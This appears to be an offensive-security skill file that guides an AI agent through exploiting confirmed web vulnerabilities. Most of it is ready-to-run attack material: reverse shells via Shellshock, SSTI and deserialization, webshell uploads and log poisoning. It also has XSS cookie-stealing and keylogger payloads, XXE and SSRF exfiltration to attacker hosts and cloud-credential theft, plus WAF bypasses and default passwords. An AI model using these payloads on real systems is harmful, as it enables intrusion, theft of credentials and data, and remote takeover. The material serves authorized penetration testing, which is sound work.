aeondave/web-exploit-technique

Web-exploit technique

Goal: turn a confirmed web vulnerability into maximum impact — data extraction, authentication bypass, RCE, or persistent access — using the precise exploitation path for each vulnerability class.

When this technique applies

• vuln-search-technique produced confirmed web vulnerability findings.
• Vulnerability class is known (SQLi, SSRF, XSS, SSTI, file upload, etc.).
• Need to prove exploitability and assess actual business impact.
• Engagement scope includes web application exploitation.

Boundary

• Input: confirmed vulnerability + surface + class from vuln-search-technique.
• Infrastructure exploitation (CVE-based, service-level): use vuln-exploit-technique.
• Post-exploitation lateral movement: separate engagement after initial access established.
• Deep custom exploit development: offensive-coding/ skills for BOF, shellcode, ROP.
• LLM-backed features / prompt injection into web apps (chat widgets, AI summarizers, RAG endpoints, agentic tools reachable over HTTP): route to llm-technique — same HTTP surface, but exploitation model, evidence, and impact chain differ from classic web bugs.

Tool families

| Need | Skill / Atomic Skill | |---|---| | Intercept, replay, mutate requests | offensive-tools/vuln-scanners/burpsuite/ | | SQL injection exploitation | offensive-tools/vuln-scanners/sqlmap/ | | Command injection (scripted) | offensive-tools/web/commix/ or web-command-injection atomic | | Reflected/DOM/Client-side XSS | offensive-tools/vuln-scanners/dalfox/, offensive-tools/web/xsstrike/ or web-reflected-xss, web-dom-xss atomics | | Open redirect verification | web-open-redirect atomic | | Local file inclusion (LFI) | offensive-tools/web/liffy/ or web-local-file-inclusion atomic | | File upload to RCE | web-unrestricted-upload-rce atomic | | Session/token analysis | web-weak-session-ids, web-client-side-token-bypass atomics | | CSP bypass | web-csp-script-allowlist-bypass atomic | | Backend state and app state diagnostics | web-backend-state-diagnostics atomic | | SSRF/SSTI/JWT | offensive-tools/vuln-scanners/ssrfmap/, offensive-tools/vuln-scanners/sstimap/, offensive-tools/web/jwt-tool/ | | Proxy/MITM and parser testing support | offensive-tools/network/mitmproxy/, offensive-tools/web/smuggler/, offensive-tools/web/corsy/ | | Source code and backup exposure | Manual .git/backup recovery; external git-dumper only if installed |

Initial triage

Before exploiting, classify the confirmed web issue by class, trust boundary, and likely impact path.

• Starting state: what confirmed class do you have (SQLi, SSRF, XSS, SSTI, auth flaw, upload, deserialization, parser confusion), and on what exact surface?
• First questions: what conditions gate impact (auth, WAF, output encoding, internal reachability, parser differences), and what is the minimum proof needed to demonstrate business impact?
• Immediate actions: replay the confirmed request, verify prerequisites, choose the primary exploitation chain for that class, and define positive and negative controls before escalation.
• Tool-family direction: use interception and replay first (burpsuite, mitmproxy), then class-specific exploitation skills (sqlmap, commix, dalfox, xsstrike, ssrfmap, sstimap, liffy, jwt-tool, smuggler, corsy) according to the confirmed surface.
• Escalation rule: progress from least invasive impact proof to deeper exploitation; do not dump or modify more than needed to prove the finding.

---

Atomic exploitation skills

For parameterized, reusable workflows that isolate single vulnerability classes with minimal configuration, use these atomic skills:

| Vulnerability Class | Atomic Skill | When to use | |---|---|---| | Command injection (OS level) | web-command-injection | Direct-response OS command injection via GET/POST, authenticated or open | | Reflected XSS | web-reflected-xss | User input echoed into HTML without encoding | | DOM XSS | web-dom-xss | Client-side code reads location/query/fragment and writes to DOM sinks | | Open redirect | web-open-redirect | Attacker-controlled URL copied into Location header | | Local file inclusion (LFI/path traversal) | web-local-file-inclusion | User-controlled file path server-side included | | Unrestricted upload → RCE | web-unrestricted-upload-rce | Upload endpoint trusts filename/MIME, uploaded file reachable and executable | | Weak session IDs | web-weak-session-ids | App issues custom session cookies; entropy or incremental patterns suspected | | Client-side token bypass | web-client-side-token-bypass | Page source computes trust token in JavaScript (ROT13, MD5, SHA1, reversal, etc.) | | CSP allowlist bypass | web-csp-script-allowlist-bypass | CSP permits third-party hosts; attacker-controlled URL injected into script src | | Backend state diagnostics | web-backend-state-diagnostics | App state broken (missing tables, failed reset); need reusable state checks before exploitation |

Each atomic skill accepts --base-url, field names, auth parameters, and match regexes to enable reusable exploitation workflows across different hosts, endpoints, and application configurations.

---

Agent operating model

Per confirmed web vulnerability:
  1. Identify class and surface (from vuln-search findings).
  2. Select exploitation path for that class.
  3. Verify environment conditions (WAF? Auth required? Encoding needed?).
  4. Execute exploitation — minimally invasive first, escalate if needed.
  5. Confirm impact: data extracted, access achieved, proof documented.
  6. Assess escalation: can this chain to RCE, auth bypass, or lateral movement?

If WAF blocks: apply bypass techniques before abandoning.
If exploit fails: re-read vuln-search evidence, confirm surface is correct.
If behavior depends on parser/proxy boundaries: test protocol/parser confusion paths before concluding false positive.

---

Injection exploitation

SQL injection — full chain

From detection to data extraction to RCE:

# sqlmap — full exploit with confirmed injection point
sqlmap -u "https://target.com/page?id=1" --batch --dbs          # enumerate databases
sqlmap -u "https://target.com/page?id=1" --batch -D db --tables # enumerate tables
sqlmap -u "https://target.com/page?id=1" --batch -D db -T users --dump  # dump data

# POST body injection
sqlmap -u "https://target.com/login" \
  --data="username=admin&password=test&submit=Login" \
  --batch --dbs

# Injection in header
sqlmap -u "https://target.com/" \
  --headers="X-Forwarded-For: 127.0.0.1*" \
  --batch --level=3 --risk=2 --dbs

# JSON body injection
sqlmap -u "https://target.com/api/search" \
  --data='{"query":"test*"}' \
  --batch --level=3 --dbs

# OS command execution (MySQL/MSSQL with DBA privileges)
sqlmap -u "https://target.com/page?id=1" --os-shell --batch

# File write to webroot (MySQL + FILE privilege + known webroot)
sqlmap -u "https://target.com/page?id=1" \
  --file-write=/tmp/shell.php \
  --file-dest=/var/www/html/shell.php \
  --batch

Manual exploitation chains — see references/injection-attacks.md.

Command injection — commix

# Auto-detect and exploit via GET parameter
commix --url "https://target.com/ping?host=127.0.0.1" --batch

# POST data
commix --url "https://target.com/exec" \
  --data="ip=127.0.0.1&submit=run" --batch

# Cookie-based
commix --url "https://target.com/" \
  --cookie="user=admin; cmd=ls*" --batch

# With authentication
commix --url "https://target.com/admin/exec" \
  --headers="Authorization: Bearer <token>" \
  --data="host=localhost" --batch

# Output filter (when only partial output visible)
commix --url "https://target.com/ping?host=127.0.0.1" \
  --technique=T --batch    # time-based

Shellshock — bash CGI environment injection (CVE-2014-6271 / 6278)

When a CGI endpoint is a bash script or spawns bash, HTTP headers are passed as environment variables; a payload that opens with a function definition gets executed as the web user. Hunt /cgi-bin/ targets (.sh/.cgi/.pl, classic Apache mod_cgi).

# Detect + read a file via ANY header (User-Agent, Cookie, Referer)
curl -s http://target/cgi-bin/status -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd'
# Reverse shell (runs as the web user — then pivot to post-exploit privesc)
curl -s http://target/cgi-bin/status -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
# Confirm with nmap: nmap -p80,443 --script http-shellshock --script-args uri=/cgi-bin/status target

() { :;}; is the function-definition trick; CVE-2014-6278 is the parser bypass for partially-patched bash. Non-CGI vectors when no /cgi-bin/ exists: DHCP client hostname, OpenSSH ForceCommand/AcceptEnv, CUPS filters, and restricted-shell git/rsync.

SSTI — server-side template injection to RCE

Once engine confirmed, apply RCE payloads per engine:

# Jinja2 (Python/Flask) — RCE
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

# Jinja2 — reverse shell
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(
   'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"').read() }}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java)
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

# Velocity (Java)
#set($e = "")#foreach($i in [1])$e.class.forName("java.lang.Runtime").getMethod("exec","".class).invoke($e.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")#end

# Smarty (PHP)
{php}echo shell_exec('id');{/php}

Tool: sstimap -u "https://target.com/profile?name=*" --os-shell

See references/injection-attacks.md for full engine matrix and bypass payloads.

---

SSRF — escalation paths

From confirmed SSRF to impact:

# Cloud metadata extraction (AWS — try IMDSv1 first; new EC2 instance types since mid-2024
# are IMDSv2-only, escalate via PUT-token bypass — see references/ssrf-and-xxe.md)
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# GCP metadata (requires header in direct access — not needed via SSRF)
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure IMDS
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Internal service enumeration via SSRF
# Port scan: observe timing or response size difference
url=http://127.0.0.1:22        # SSH
url=http://127.0.0.1:6379      # Redis
url=http://127.0.0.1:8080      # Internal app
url=http://127.0.0.1:9200      # Elasticsearch (unauthenticated)
url=http://127.0.0.1:11211     # Memcached

# SSRF to internal admin panel
url=http://127.0.0.1/admin
url=http://10.0.0.1/admin

# SSRF to RCE via Redis RESP injection (if Redis accessible)
# Use Gopher:
url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...

# SSRF bypass techniques
url=http://2130706433/          # 127.0.0.1 decimal
url=http://[::1]/               # IPv6 localhost
url=http://[email protected]/  # authority confusion
url=http://attacker.com#@127.0.0.1/          # fragment confusion

See references/ssrf-and-xxe.md for full bypass and escalation chains.

Source code and backup exposure

Confirm exposure with small, deterministic reads before reconstructing a repository or downloading large backups. Treat source disclosure as a credential and secret-harvest path, then hand cloud keys, database credentials, and CI tokens to the relevant technique skill.

# Git directory exposure
curl -s http://target/.git/HEAD
curl -s http://target/.git/config

# Reconstruct only when in scope and the tool is installed
git-dumper http://target/.git/ /tmp/repo/

# Common adjacent leaks
curl -s http://target/.env
curl -s http://target/backup/
curl -s http://target/backup.sql

LFI to RCE — Apache access log poisoning

If an LFI can include Apache logs and PHP executes in that context, inject a small command stub into the access log, then include the log path.

# Inject PHP via User-Agent header
curl -s http://target/page -A '<?php system($_GET["c"]); ?>'

# Include log via LFI
curl -s 'http://target/index.php?page=/var/log/apache2/access.log&c=id'

# If logs are buffered, trigger another request and retry the include
curl -s http://target/nonexistent.php -A '<?php system($_GET["c"]); ?>'

See references/lfi-and-path-traversal.md for wrappers, log-path variants, and validation controls.

---

XXE — data extraction and SSRF

<!-- Classic file read -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Windows path -->
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

<!-- Blind XXE — out-of-band exfiltration -->
<!-- evil.dtd served from attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

<!-- Reference evil.dtd in payload: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
]>
<foo/>

<!-- SSRF via XXE -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

<!-- PHP wrapper (when file contains special chars) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

---

Authentication exploitation

JWT attacks

# alg:none attack
# 1. Decode JWT: echo "<header>.<payload>" | base64 -d
# 2. Modify payload: change role, user_id, exp
# 3. Reconstruct: base64url(header_alg_none).base64url(new_payload).  (empty sig)

# RS256 → HS256 confusion
# When public key is known/accessible:
# Sign with HMAC-SHA256 using public key bytes as secret key

# Weak secret brute-force
hashcat -a 0 -m 16500 "eyJ..." /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt

# kid parameter SQL injection
# kid header: {"kid": "' UNION SELECT 'secret'-- "}
# HMAC key becomes the SQL result

# jku / x5u header injection
# Point to attacker-controlled JWKS endpoint:
# {"jku": "https://attacker.com/jwks.json", ...}

# jti (nonce) reuse - token replay with the same jti
# The jti claim should be single-use. If the server accepts repeated
# tokens with the same jti, any captured token can be replayed indefinitely
# Test: send same token twice; if both succeed, jti is not enforced

# jwt_tool — automated attacks
jwt_tool -t https://target.com/api/profile -rh "Authorization: Bearer <token>" -M at

See references/auth-and-session.md for full JWT and OAuth attack chains.

---

API authorization and real-time exploitation

For confirmed API authorization flaws, prove impact with role-tagged controls before escalating:

• BOLA/IDOR: replay user/tenant A credentials against user/tenant B object identifiers across read, write, delete, bulk, and async job endpoints.
• Mass assignment: inject unauthorized properties such as role, owner, tenant, billing, approval, or status fields; confirm persisted impact, not just a successful response.
• CORS: prove browser-readable cross-origin access on sensitive authenticated data; header reflection alone is not enough.
• WebSocket: validate authorization both at handshake and per message/channel/subscription.

Use references/api-authorization-and-realtime.md for object-ID edge cases, CORS origin bypasses, and WebSocket message-level proof requirements.

Advanced web chains

Use references/advanced-web-chains.md when the confirmed weakness involves prototype pollution, race conditions, undocumented GraphQL, exploitable CORS, or SOAP/XML services. These chains require proof of impact with controls; detection hints alone are not enough.

---

OAuth / SSO attacks

Attacks to test in order:
1. Missing state parameter → CSRF on auth flow
2. redirect_uri not validated → code/token theft
   - Try: redirect_uri=https://attacker.com
   - Try: redirect_uri=https://legitimate.com.attacker.com
   - Try: redirect_uri=https://legitimate.com/../../attacker.com
3. Authorization code reuse (should be one-time)
4. Token leakage in Referer header
5. Implicit flow → token in URL fragment → leaked in logs
6. scope escalation: add admin scopes to auth request
7. PKCE absent → code interception

Session and credential attacks

# Cookie attribute analysis
# Secure cookie attribute: cookie sent over HTTP?
# HttpOnly: accessible via JS?
# SameSite: CSRF possible?

# Session fixation test
# Set known session ID before auth → if same ID after auth → fixation

# Credential stuffing (authorized scope only)
# Use hydra or custom script with known credential pairs

# Default credentials — common targets
# Jenkins: admin/admin or admin/(blank)
# Grafana: admin/admin
# Kibana: elastic/changeme
# Tomcat manager: tomcat/tomcat, admin/admin
# GitLab: root/5iveL!fe (older versions)
# Metabase: (setup wizard, no default)

---

XSS impact escalation

Detection of XSS is covered in vuln-search-technique. Exploitation maximizes impact:

// Session hijack
fetch('https://attacker.com/steal?c='+document.cookie)
new Image().src='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)

// Credential phishing (when SOP allows reading)
// Redirect to fake login:
window.location='https://attacker.com/phish'

// Keylogger
document.addEventListener('keydown', e => {
  fetch('https://attacker.com/key?k='+e.key)
})

// Full page content exfil
fetch('https://attacker.com/page', {method:'POST', body:document.documentElement.outerHTML})

// DOM-based XSS via fragment
// URL: https://target.com/page#<img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>

// CSP bypass via JSONP endpoint
<script src="https://trusted.com/api/jsonp?callback=alert(1)//"></script>

// Cookie theft with httpOnly bypass (if XSS has script execution → read DOM state)
// httpOnly cookies not readable via JS — escalate to session riding instead

// XSS to CSRF — execute state-changing requests in victim context
fetch('/api/admin/add-user', {method:'POST', body: JSON.stringify({user:'attacker',role:'admin'}),
  headers:{'Content-Type':'application/json', 'X-Requested-With':'XMLHttpRequest'},
  credentials:'include'})

Tool: xsstrike for payload generation and blind XSS callback setup.

See references/xss-and-client.md for CSP bypass, DOM clobbering, mutation XSS.

---

File upload to RCE

# PHP webshell — basic
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Access: https://target.com/uploads/shell.php?cmd=id

# Extension bypass attempts (in order)
shell.php → shell.php5 → shell.phtml → shell.pHp → shell.php.jpg
shell.php%00.jpg     # null byte (older PHP)
shell.php;.jpg       # semicolon (some configs)

# MIME type bypass
# Upload PHP file with Content-Type: image/jpeg

# Magic byte bypass
# Prepend valid JPEG magic bytes to PHP:
printf '\xff\xd8\xff' > shell_jpg.php
cat shell.php >> shell_jpg.php

# Double extension
shell.jpg.php        # if server processes last extension
shell.php.jpg        # if server processes all before last

# .htaccess upload (Apache)
# Upload .htaccess:
echo "AddType application/x-httpd-php .jpg" > .htaccess
# Then upload shell.jpg with PHP code → executed as PHP

# SVG stored XSS
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

See references/file-upload-and-rce.md.

---

Deserialization exploitation

# Java — ysoserial gadget chains
# Enumerate available gadget chains:
java -jar ysoserial.jar

# Generate payload
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' > payload.ser

# Base64-encode for HTTP transport
base64 -w0 payload.ser > payload.b64

# .NET — ysoserial.net
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "whoami > /tmp/output"

# PHP — phpggc
phpggc Monolog/RCE1 system id  # identify payload

# Python — pickle / PyTorch / PyYAML / joblib (no gadget library; you write the class)
python3 -c 'import pickle,os,sys;
class E:
  def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
sys.stdout.buffer.write(pickle.dumps(E()))' > payload.pkl
# Sinks: pickle.loads, joblib.load, numpy.load(allow_pickle=True),
#        yaml.load (unsafe Loader), torch.load(..., weights_only=False)

# Deliver in:
# Java:   serialized object in cookie, HTTP body, XML field
# .NET:   ViewState, JSON API body, binary endpoint
# PHP:    serialized cookie, POST body
# Python: raw pickle bytes, forged .pt/.pkl/.npy checkpoint, unsafe YAML doc

See references/deserialization.md.

---

WAF bypass — general strategies

When payloads are blocked, apply before abandoning:

# Case variation
<ScRiPt>alert(1)</ScRiPt>
sElEcT * fRoM users

# URL encoding
%3Cscript%3Ealert(1)%3C%2Fscript%3E
%27%20OR%201%3D1--

# Double encoding
%253Cscript%253E  (% → %25 → second decode gives %3C → <)

# Unicode / UTF-8 variations
<ｓｃｒｉｐｔ>  (fullwidth chars)
' → %ef%bc%87 (fullwidth apostrophe)

# Comment injection (SQL)
SE/**/LECT * FR/**/OM users
' OR/**/1=1--

# Whitespace alternatives
SELECT%09FROM%09users  (tab)
SELECT%0AFROM%0Ausers  (newline)

# Parameter pollution
?id=1&id=2 OR 1=1--   (some WAFs check first occurrence only)

# Chunked Transfer Encoding (bypasses body inspection on some WAFs)

# HTTP method variation
POST → PUT, PATCH (WAF may not inspect all methods)

# Payload in unusual locations
Header injection, JSON body instead of URL, alternate content-type

See references/waf-bypass.md for class-specific bypass techniques.

---

Embedded scripting engine injection

When a web or FTP daemon exposes a scripting engine (Lua, Tcl, Python, custom VM) through user-controlled input — login fields, config templates, URL parameters, script terminals — injection into that engine often yields direct OS command execution.

Recognition signals:

• Server runs a known scripting-capable daemon (WingFTP, ProFTPD mod_exec, OpenResty/Nginx+Lua, custom app server)
• Error messages reference a scripting engine or interpreter (Lua 5.x, Tcl, embedded Python)
• Admin UI has a "script terminal", "task script", or "Lua console" section
• Source/config shows io.popen, os.execute, exec(), subprocess called from user-reachable paths

Injection vectors:

Null-byte / delimiter escape (terminates parser context, injects new statements):

# Lua: null byte closes string, %0d is \r which WingFTP treats as newline
username=anonymous%00<injected lua>%0d--
# Typical payload structure: close current context + new statements + comment remainder

Template / format string injection:

# If input is interpolated into a script template before eval
# ${os.execute("id")}  /  #{`id`}  /  [[injected]]

Script terminal (authenticated):

-- Direct Lua RCE via admin console
local h = io.popen("id"); print(h:read("*a")); h:close()

Enumeration approach:

1. Identify daemon version → check if scripting engine is present and which version
2. Locate user-reachable inputs that feed into script execution (login, config, API params)
3. Find terminator for current parse context (null byte, quote, bracket close, CRLF)
4. Inject minimal OS exec primitive: io.popen / os.execute (Lua), exec (Tcl), subprocess (Python)
5. Extract output via response body, cookie, redirect, or OOB channel if blind

Output channels when response is XML/binary:

• Response body before XML delimiter (< or <?xml) often contains print output
• Set-Cookie or custom header reflection
• OOB: write to world-readable file, HTTP callback via curl/wget

---

Protocol and parser confusion exploitation

When edge and backend parse URLs/headers differently, minor input differences can bypass controls.

Typical high-impact paths:

• Host header poisoning and cache poisoning
• Request smuggling (front-end/back-end desync)
• URL parser confusion (authority, encoded delimiters, IPv6 zone IDs)
• Rewrite/proxy semantic confusion in Apache deployments

Use references/protocol-and-parser-confusions.md for exploitation checks and escalation chains.

---

Quality gates

• Confirmed exploitation evidence: exact request/response demonstrating impact.
• Minimum necessary access — do not escalate beyond what confirms the finding.
• Every exploitation attempt logged with timestamp, payload, target endpoint.
• WAF bypass attempts limited to what's needed for confirmation.

Anti-patterns

• Exploiting without confirmed detection (running blind payloads hoping for output).
• Mass exploitation of multiple endpoints simultaneously — attributes nothing.
• SQL injection dump of entire database when sample rows confirm impact.
• Persistent modification of target state (adding accounts, deleting data) unless explicitly in scope.
• Ignoring WAF — bypasses often exist and should be tried before declaring not exploitable.

Resources

• references/injection-attacks.md — SQLi full chains, SSTI engine matrix and RCE payloads, command injection patterns.
• references/ssrf-and-xxe.md — SSRF escalation paths, cloud metadata extraction, XXE data exfil, bypass techniques.
• references/auth-and-session.md — JWT attack matrix, OAuth bypass flows, session fixation, credential attacks.
• references/api-authorization-and-realtime.md — BOLA/IDOR exploitation, mass assignment, CORS impact proof, and WebSocket authorization testing.
• references/xss-and-client.md — XSS impact escalation, CSP bypass, DOM attacks, blind XSS callbacks.
• references/file-upload-and-rce.md — file upload bypass techniques, webshell payloads, SSTI/deserialization-to-RCE.
• references/deserialization.md — Java/.NET/PHP deserialization exploitation workflow and gadget-selection matrix.
• references/waf-bypass.md — encoding, comment injection, parameter pollution, chunked encoding bypass strategies.
• references/protocol-and-parser-confusions.md — host header abuse, request smuggling, URL parser and rewrite/proxy confusion chains.
• references/advanced-web-chains.md — prototype pollution, race conditions, GraphQL without docs, CORS impact proof, SOAP/XML service exploitation.
• references/graphql-testing.md — GraphQL endpoint discovery, introspection, schema mapping, authorization testing, and GraphQL-specific attacks (depth, complexity, aliases, batching, CSRF, subscription abuse).
• references/lfi-and-path-traversal.md — Path traversal basics, bypass techniques, LFI escalation to RCE, PHP wrappers, and chaining workflows.
• Embedded scripting engine injection patterns are inline in the ## Embedded scripting engine injection section above; no separate reference needed unless engine-specific quirks accumulate.